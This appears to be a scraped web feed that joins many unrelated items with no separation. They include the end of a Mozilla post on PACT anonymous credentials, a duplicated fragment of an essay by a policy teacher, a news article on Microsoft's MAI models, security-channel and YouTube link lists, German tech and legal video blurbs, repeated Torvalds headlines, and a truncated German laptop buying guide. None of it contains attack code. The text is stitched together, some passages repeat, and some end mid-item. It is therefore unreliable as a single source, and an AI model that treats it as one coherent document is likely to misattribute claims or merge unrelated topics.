Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  

Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.

In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction.

AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism.

Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.

The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun. 

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly use AI to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?

The best way I’ve found to explain the dilemma comes from the AI researcher Daniel Meissler: it’s the difference between work and the gym.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come at no surprise to you that my students regularly use AI to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?

The best way I’ve found to explain the dilemma comes from the AI researcher Daniel Meissler: it’s the difference between work and the gym.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

Sponsor a Video: https://www.tcm.rocks/Sponsors
Pentests & Security Consulting: https://tcm-sec.com
Get Trained: https://www.tcm.rocks/acad-y
Get Certified: http://www.tcm.rocks/certs-y
Merch: https://www.bonfire.com/store/tcm-security/

📱Social Media📱
___________________________________________
X: https://x.com/TCMSecurity
Twitch: https://www.twitch.tv/thecybermentor
Instagram: https://www.instagram.com/tcmsecurity/
LinkedIn: https://www.linkedin.com/company/tcm-security-inc/
TikTok: https://www.tiktok.com/@tcmsecurity
Discord: https://discord.gg/tcm
Facebook: https://www.facebook.com/tcmsecure

LG nimmt den heutigen Streaming-Start von „Masters of the Universe“ zum Anlass, einen neuen Bildmodus für ausgewählte OLED-Fernseher einzuführen. Der sogenannte „Creator Original Picture Mode“ soll Filme automatisch mit Einstellungen wiedergeben, die den Vorgaben des jeweiligen Studios entsprechen. Über den Start des neuen He-Man-Films bei Prime Video haben wir bereits zu Wochenbeginn berichtet. LG begleitet […]

The post LG lässt Amazon Prime Video die Bildeinstellungen vorgeben first appeared on ifun.de.

Best deals! Fold8 Ultra - https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8-ultra%2Fbuy%2Fgalaxy-z-fold8-ultra-256gb-unlocked-sku-sm-f976uzvaxaa%2F

Fold8 -
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-fold8%2Fbuy%2Fgalaxy-z-fold8-256gb-unlocked-sku-sm-f971ulvaxaa%2F

Flip8 -
https://click.linksynergy.com/deeplink?id=qn*xL/agfY4&mid=47773&murl=https%3A%2F%2Fwww.samsung.com%2Fus%2Fsmartphones%2Fgalaxy-z-flip8%2Fbuy%2Fgalaxy-z-flip8-256gb-unlocked-sku-sm-f776uliaxaa%2F

unlocked devices at Best Buy - https://bestbuycreators.7tiv.net/6kX2Lb

https://youtu.be/RoVLY0s5Chc



Samsung just announced three brand new foldable smartphones at Galaxy Unpacked 2026, and I got hands-on with all of them in New York City!

In this video we're breaking down the new Galaxy Z Fold8 Ultra, Galaxy Z Fold8, and Galaxy Z Flip8, including pricing, displays, cameras, battery life, durability, Galaxy AI features, and the security features I always check first - like SIM support, Ultra Wideband, fingerprint readers, face unlock, Wi-Fi 7, and more.

Is the new Galaxy Z Fold8 Ultra worth over $2,000? Is the regular Fold8 the better value? And is the Flip8 Samsung's best flip phone yet?

I'll also be publishing full reviews after spending more time with each device, so make sure you're subscribed so you don't miss those!

💬 If you could have one of these phones for FREE, which would you choose?

#Samsung #GalaxyUnpacked #GalaxyZFold8Ultra #GalaxyZFold8 #GalaxyZFlip8 #FoldablePhone #Android #Tech @Samsung

Becoming a Morse Code Member by checking out the perks linked here!:
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join

Samsung Galaxy Unpacked 2026
00:48 Three New Galaxy Foldables
02:00 Galaxy Z Fold8 Ultra
06:15 Fold8 Ultra Cameras & Security Features
08:00 Patreon Shoutout
09:00 Galaxy Z Fold8
12:35 Galaxy Z Flip8
14:30 Shared Specs Across All Models
16:00 Colors & Storage Options
17:10 Biggest Takeaways
19:00 What I'm Testing Next
20:00 Which One Would You Choose?


💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

SUPPORT MY WORK
PATREON 💛 https://www.patreon.com/ShannonMorse
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs
MY SHOP 💛 https://shannonrmorse.com/shop
SPRING SHOP 💛 https://morsecode.creator-spring.com/
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

FOLLOW THE SOCIALS THINGS
THREADS 🌸 https://www.threads.net/@snubs
INSTAGRAM 🌸 http://www.instagram.com/snubs
TIKTOK 🌸 https://tiktok.com/@snubsie
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1
WEBSITE 🌸 https://www.morsecodecreative.com/

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

TECH I USE AND RECOMMEND
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

MY OTHER SHOWS
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

GET IN TOUCH
Mail ✈
https://shannonrmorse.com/contact

Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com
My Media Kit ✈ https://shannonrmorse.com/work-with-me
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse

💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜

😍 FTC DISCLAIMER 😍
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!

Comment section code of conduct policy:
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)
https://shannonrmorse.com/code-of-conduct

Code of Ethics:
https://www.morsecodecreative.com/code-of-ethics

FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.

Du bist unsicher, welche Musik du in deinen Videos rechtssicher nutzen darfst? ➔ https://wbs.law/musik

Bei SongPush bekommt ihr für die Nutzung von Musik in euren Reels sogar noch Geld: https://www.songpush.com/
▬▬▬▬▬▬▬▬▬▬▬▬▬

Die Abmahnwelle von Sony Music (B1 Recordings) verunsichert tausende Creator – doch ab wann gilt euer Profil rechtlich wirklich als „gewerblich“ und welche Musik dürft ihr nun wirklich benutzen? In diesem Video beantworten wir die meistgestellten Fragen von euch und zeigen, wie ihr richtig reagiert, wenn ihr selbst eine solche Abmahnung erhalten habt.

2M Gruppe GmbH: https://www.instagram.com/2mgruppe/
TikTok Nutzungsbedingungen: https://www.tiktok.com/legal/page/global/music-terms-eea/de#
Instagram Nutzungsbedingungen: https://www.facebook.com/help/instagram/402084904469945
Metas Sound Collection: https://www.facebook.com/sound/collection
§ 15 UrhG: https://www.gesetze-im-internet.de/urhg/__15.html
§ 19a UrhG: https://www.gesetze-im-internet.de/urhg/__19a.html
§ 53 UrhG: https://www.gesetze-im-internet.de/urhg/__53.html

▬▬▬▬▬▬▬▬▬▬▬▬▬
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/.

▬▬▬▬▬▬▬▬▬▬▬▬▬
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.

▬▬▬▬▬▬▬▬▬▬▬▬▬
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio)

▬▬▬▬▬▬▬▬▬▬▬▬▬
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert.

▬Instagram und TikTok▬
Auf unseren erfolgreichen Kanälen auf Instagram und TikTok räumen wir täglich mit Rechtsirrtümern auf und präsentieren dir rechtliche Lifehacks. Damit bist du immer auf dem Laufendem und bekommst deine tägliche Dosis Alltagsrecht. Kurz, knackig und immer auf den Punkt. Folge uns auf Instagram und TikTok und du kannst vor deinen Freunden mit neuem Wissen glänzen.

➥ Instagram: https://wbs.law/recht2go
➥ TikTok: https://wbs.law/recht2goTikTok

▬Facebook▬
Auf Facebook sind wir inzwischen schon alte Hasen, denn seit Jahren informieren wir dich dort täglich über aktuelle Rechts-News. Gerne kannst du uns dort auch eine Anfrage als private Nachricht schicken. Schau vorbei!

Hier der Link: ➥ https://wbs.law/facebook

▬Podcasts▬
Du bist unterwegs, unter der Dusche oder hörst einfach gerne Podcasts? Dann haben wir etwas für dich: Höre die Tonspur unserer Videos täglich auf Spotify, Soundcloud und iTunes. So bleibst du immer aktuell!

Hier die Links:
➥ https://wbs.law/spotify
➥ https://wbs.law/soundcloud
➥ https://wbs.law/apple

▬Unser Zweitkanal▬
Unseren weiteren YouTube-Kanal „WBS – Die Experten“ kennst du, oder? Wenn nicht, dann unsere dringende Empfehlung: Schau rein! Denn hier erfährst du immer donnerstags ausführlich alle wichtigen Infos zu unseren Rechtsbereichen – präsentiert von einigen unserer Top-Rechtsanwälte. Ob Medienrecht, Urheberrecht, Markenrecht, Social-Media- Recht, Verkehrsrecht oder Datenschutzrecht: Das alles und mehr nur auf unserem Zweitkanal, und zwar aus erster Hand von unseren WBS-Experten.

Hier der Link: ➥ https://wbs.law/dieexperten

▬Kontakt▬
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal

Read more of this story at Slashdot.

Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg

Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt

Du hast eine Abmahnung wegen angeblichen illegalen Downloads erhalten? ➔ https://wbs.law/filesharing
▬▬▬▬▬▬▬▬▬▬▬▬▬

Ein Familienfoto, ein Sturm der Empörung und nur drei Tage später der Rücktritt: Jens Spahn gibt den Vorsitz der Unionsfraktion ab, nachdem er und sein Ehemann mithilfe einer Leihmutter in den USA Eltern geworden sind. Hat Spahn deutsches Recht umgangen oder ist sein Vorgehen legal? Wir rekonstruieren die Eskalation, prüfen seine früheren Aussagen und erklären, wen das deutsche Verbot tatsächlich trifft.

Tagesschau – Rücktritt und Schreiben im Wortlaut: https://www.tagesschau.de/inland/innenpolitik/jens-spahn-ruecktritt-100.html
ZDFheute – War Spahns Vorgehen legal?: https://www.zdfheute.de/panorama/jens-spahn-leihmutterschaft-legal-100.html
GQ – Spahns Gastbeitrag von 2015: https://www.gq-magazin.de/leben-als-mann/features/pro-contra-leihmutterschaft-respektiert-meine-zurueckhaltung
Deutscher Bundestag – Antwort der Bundesregierung 2020: https://www.bundestag.de/webarchiv/presse/hib/2020_04/693042-693042
CDU – Anträge des 38. Parteitags, Antrag O06 auf S. 383: https://www.cdu.de/app/uploads/2026/02/202602_Sammlung-der-Antraege_38-Parteitag.pdf
BGH – Beschluss XII ZB 463/13: https://juris.bundesgerichtshof.de/cgi-bin/bgh_notp/document.py?Art=en&Datum=2014-12&Gericht=bgh&Seite=4&anz=229&nr=34692&pos=137
Auswärtiges Amt – FAQ zur Leihmutterschaft: https://www.auswaertiges-amt.de/de/service/fragenkatalog-node/06-leihmutterschaft-606160
BMG – Bericht der Kommission zur reproduktiven Selbstbestimmung: https://www.bundesgesundheitsministerium.de/presse/pressemitteilungen/kommissionsbericht-reproduktive-selbstbestimmung-pm-15-04-24
Ronzheimer-Podcast – Interview mit Jens Spahn: https://www.youtube.com/watch?v=WRIMLz5bh3g
Tagesschau/NDR – Rücktrittsforderung von Daniel Peters: https://www.tagesschau.de/inland/regional/mecklenburgvorpommern/kritik-an-leihmutterschaft-cdu-in-mv-fordert-spahns-ruecktritt%2Cspahn-746.html
Deutschlandfunk – Interview mit Wolfgang Bosbach: https://www.deutschlandfunk.de/spahns-leihmutterschaft-interview-mit-wolfgang-bosbach-cdu-100.html
Reddit r/de – Debatte vor dem Rücktritt: https://www.reddit.com/r/de/comments/1uyvkdj/umstrittene_leihmutterschaft_erster/
Reddit r/de – Reaktionen auf den Rücktritt: https://www.reddit.com/r/de/comments/1uztkrb/jens_spahn_tritt_als_unionsfraktionschef_zur%C3%BCck/
Tagesschau/NDR – Internationales Leihmuttergeschäft: https://www.tagesschau.de/investigativ/ndr/leihmuetter-geschaeft-international-100.html
§ 1 ESchG: https://www.gesetze-im-internet.de/eschg/__1.html
§ 13b AdVermiG: https://www.gesetze-im-internet.de/advermig_1976/__13b.html
§ 13c AdVermiG: https://www.gesetze-im-internet.de/advermig_1976/__13c.html
§ 14b AdVermiG: https://www.gesetze-im-internet.de/advermig_1976/__14b.html
§ 1591 BGB: https://www.gesetze-im-internet.de/bgb/__1591.html
§ 1592 BGB: https://www.gesetze-im-internet.de/bgb/__1592.html
§ 108 FamFG: https://www.gesetze-im-internet.de/famfg/__108.html
§ 109 FamFG: https://www.gesetze-im-internet.de/famfg/__109.html


▬▬▬▬▬▬▬▬▬▬▬▬▬
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/.

▬▬▬▬▬▬▬▬▬▬▬▬▬
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.

▬▬▬▬▬▬▬▬▬▬▬▬▬
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio)

▬▬▬▬▬▬▬▬▬▬▬▬▬
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert.



▬Kontakt▬
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal

The post Investigation Links LeakedBB Forum to New Zealand Crypto Entrepreneur appeared first on PrivacySavvy.

Linux creator Linus Torvalds has come out strongly in favor of AI tools in kernel development. "Linux is not one of those anti-AI projects," he wrote on the kernel mailing list amid a debate over Sashiko, the Linux Foundation's AI-powered code review tool. Torvalds said he would "very loudly ignore" anyone who tries to talk others out of using it.

The article Linus Torvalds tells AI critics in the Linux kernel community to fork off appeared first on The Decoder.

The post Linus Torvalds Rejects Anti-AI Push and Defends LLM Tools in Linux Development appeared first on Cyber Security News.

Read more →

The post Linux Creator Linus Torvalds Rejects Anti-AI Push and Defends LLM Tools appeared first on IT Security News.

The post Linux Creator Linus Torvalds Rejects Anti-AI Push and Defends LLM Tools appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post Linus Torvalds Told Kernel Developers that Linux is Not Against AI projects appeared first on Cyber Security News.

Read more →

The post Linus Torvalds Told Kernel Developers that Linux is Not Against AI projects appeared first on IT Security News.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Ein neuer Laptop ist eine Investition für die nächsten Jahre. Doch bevor man sich in Datenblättern zu Prozessoren, RAM und Grafikkarten verliert, steht die wichtigste und buchstäblich größte Entscheidung an: das Gehäuseformat. Schließlich bestimmt die Bildschirmdiagonale nicht nur, wie viel Arbeitsfläche Ihnen zur Verfügung steht – sie diktiert auch das Gewicht, die Akkugröße und die Kühlleistung Ihres neuen Systems.

Während vor wenigen Jahren noch der 15,6-Zöller als unangefochtener Standard galt, hat sich der Markt inzwischen gewandelt. Die Ränder um die Displays sind geschrumpft, moderne 16:10-Bildformate erobern die Schreibtische und stellen Käufer vor eine technologische Grundsatzfrage.

Die Eier legende Wollmilchsau gibt es nämlich auch hier nicht: Wer stundenlang Videos schneidet oder Excel-Tabellen wälzt, flucht über einen zu kleinen Bildschirm. Wer sein Gerät hingegen täglich in der Bahn zum Pendeln nutzt, ärgert sich schnell über jedes Gramm zu viel im Rucksack.

Damit Sie beim Kauf nicht zum falschen Formfaktor greifen, dröseln wir die Stärken und Schwächen der drei wichtigsten Laptop-Größen auf und geben eine Kaufberatung für die unterschiedlichen Nutzerprofile.

Die drei Display-Größen im Alltags-Check

Um das Maximum aus Ihrem Budget herauszuholen, sollten Sie die Charakteristiken der Formfaktoren kennen. Jede Größe hat ein optimales Einsatzgebiet.

1. 14-Zoll-Laptops: Mobile Begleiter für Pendler

Der 14-Zöller (ca. 35,5 cm Diagonale) ist das gängige Format für alle, die häufig unterwegs sind. Moderne Fertigungstechniken erlauben ein Gerätegewicht von oft kaum mehr als einem Kilogramm, zudem sind die Geräte so dünn, dass sie problemlos in jede Aktentasche oder den Uni-Rucksack passen.

Durch das kompakte Gehäuse ist der Akkuverbrauch des Displays geringer, was oft zu ausgezeichneten Laufzeiten führt. Das Manko: Die kompakte Bauweise lässt wenig Platz für wuchtige Kühlsysteme oder dedizierte Grafikkarten. Zudem erfordert längeres Multitasking mit mehreren geöffneten Fenstern auf dem kleineren Bildschirm oft gute Augen oder cleveres Fenster-Management.

Für wen eignen sich 14-Zoll-Laptops?

Das Format ist besonders geeignet für Pendler, Studenten, Geschäftsreisende und alle, die ihren Laptop täglich transportieren. Wer primär textbasiert arbeitet, surft, streamt oder an Videocalls teilnimmt, wird die Leichtigkeit dieser Geräteklasse lieben.

Produktempfehlung: ASUS Zenbook 14 OLED

Asus

Preis: 1.149 Euro

Technik-Specs:

